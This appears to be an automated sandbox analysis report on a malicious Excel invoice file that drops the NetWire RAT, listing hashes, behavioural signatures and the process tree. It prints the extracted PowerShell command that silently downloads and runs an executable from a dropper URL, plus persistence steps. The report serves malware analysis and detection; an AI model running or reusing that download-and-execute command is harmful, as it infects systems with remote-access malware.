Analysis
-
max time kernel
62s -
max time network
109s -
platform
windows7_x64 -
resource
win7 -
submitted
10-07-2020 05:14
Static task
static1
Behavioral task
behavioral1
Sample
Invoice.xlsm
Resource
win7
0 signatures
0 seconds
General
-
Target
Invoice.xlsm
-
Size
399KB
-
MD5
f7b59e2d235fee9ba12ec42df07ce2b5
-
SHA1
587fa2772cd69bf5d136d9f459fd01a4db65e9ba
-
SHA256
ff4386a4ec4746d085fe2fa9cf974f39334fa3c64b27b2ab88468ea72c898fb2
-
SHA512
48344cc1b929d2a9cd3f5a713743c75b6591f0284ea8fae5f7995e49ddd5df4deba9a0070106f83751af835e61cce059097037c778b16153bcf9cb4de5206d9f
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://comawhimplet.com/nxxt.exe
Signatures
-
NTFS ADS 1 IoCs
Processes:
cmd.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\FolderN\name.exe:Zone.Identifier cmd.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 112 EXCEL.EXE -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
EXCEL.EXEpowershell.exeputty.exedescription pid process target process PID 112 wrote to memory of 1520 112 EXCEL.EXE powershell.exe PID 112 wrote to memory of 1520 112 EXCEL.EXE powershell.exe PID 112 wrote to memory of 1520 112 EXCEL.EXE powershell.exe PID 1520 wrote to memory of 1916 1520 powershell.exe putty.exe PID 1520 wrote to memory of 1916 1520 powershell.exe putty.exe PID 1520 wrote to memory of 1916 1520 powershell.exe putty.exe PID 1520 wrote to memory of 1916 1520 powershell.exe putty.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1956 1916 putty.exe sdhost.exe PID 1916 wrote to memory of 1632 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1632 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1632 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1632 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1640 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1640 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1640 1916 putty.exe cmd.exe PID 1916 wrote to memory of 1640 1916 putty.exe cmd.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeputty.exepid process 1520 powershell.exe 1916 putty.exe 1916 putty.exe -
Loads dropped DLL 1 IoCs
Processes:
putty.exepid process 1916 putty.exe -
Office loads VBA resources, possible macro or embedded object present
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1520 112 powershell.exe EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeputty.exedescription pid process Token: SeDebugPrivilege 1520 powershell.exe Token: SeDebugPrivilege 1916 putty.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1520 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
putty.exedescription pid process target process PID 1916 set thread context of 1956 1916 putty.exe sdhost.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
EXCEL.EXEpid process 112 EXCEL.EXE 112 EXCEL.EXE 112 EXCEL.EXE 112 EXCEL.EXE 112 EXCEL.EXE -
Drops startup file 1 IoCs
Processes:
putty.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.exe.lnk putty.exe -
Executes dropped EXE 2 IoCs
Processes:
putty.exesdhost.exepid process 1916 putty.exe 1956 sdhost.exe -
NetWire RAT payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1956-13-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1956-16-0x0000000000400000-0x0000000000433000-memory.dmp netwire
Processes
-
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Invoice.xlsm1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://comawhimplet.com/nxxt.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')2⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
-
C:\Users\Admin\AppData\Local\Temp\putty.exe"C:\Users\Admin\AppData\Local\Temp\putty.exe"3⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetThreadContext
- Drops startup file
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\sdhost.exe"C:\Users\Admin\AppData\Local\Temp\sdhost.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy "C:/Users/Admin/AppData/Local/Temp/putty.exe" "%temp%\FolderN\name.exe" /Y4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier4⤵
- NTFS ADS
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\putty.exe
-
C:\Users\Admin\AppData\Local\Temp\putty.exe
-
C:\Users\Admin\AppData\Local\Temp\sdhost.exe
-
\Users\Admin\AppData\Local\Temp\sdhost.exe
-
memory/112-2-0x0000000005E60000-0x0000000005F60000-memory.dmpFilesize
1024KB
-
memory/112-5-0x0000000000304000-0x0000000000306000-memory.dmpFilesize
8KB
-
memory/112-1-0x0000000000285000-0x0000000000286000-memory.dmpFilesize
4KB
-
memory/1520-8-0x0000000000000000-mapping.dmp
-
memory/1632-17-0x0000000000000000-mapping.dmp
-
memory/1640-18-0x0000000000000000-mapping.dmp
-
memory/1916-9-0x0000000000000000-mapping.dmp
-
memory/1956-13-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1956-14-0x000000000040242D-mapping.dmp
-
memory/1956-16-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB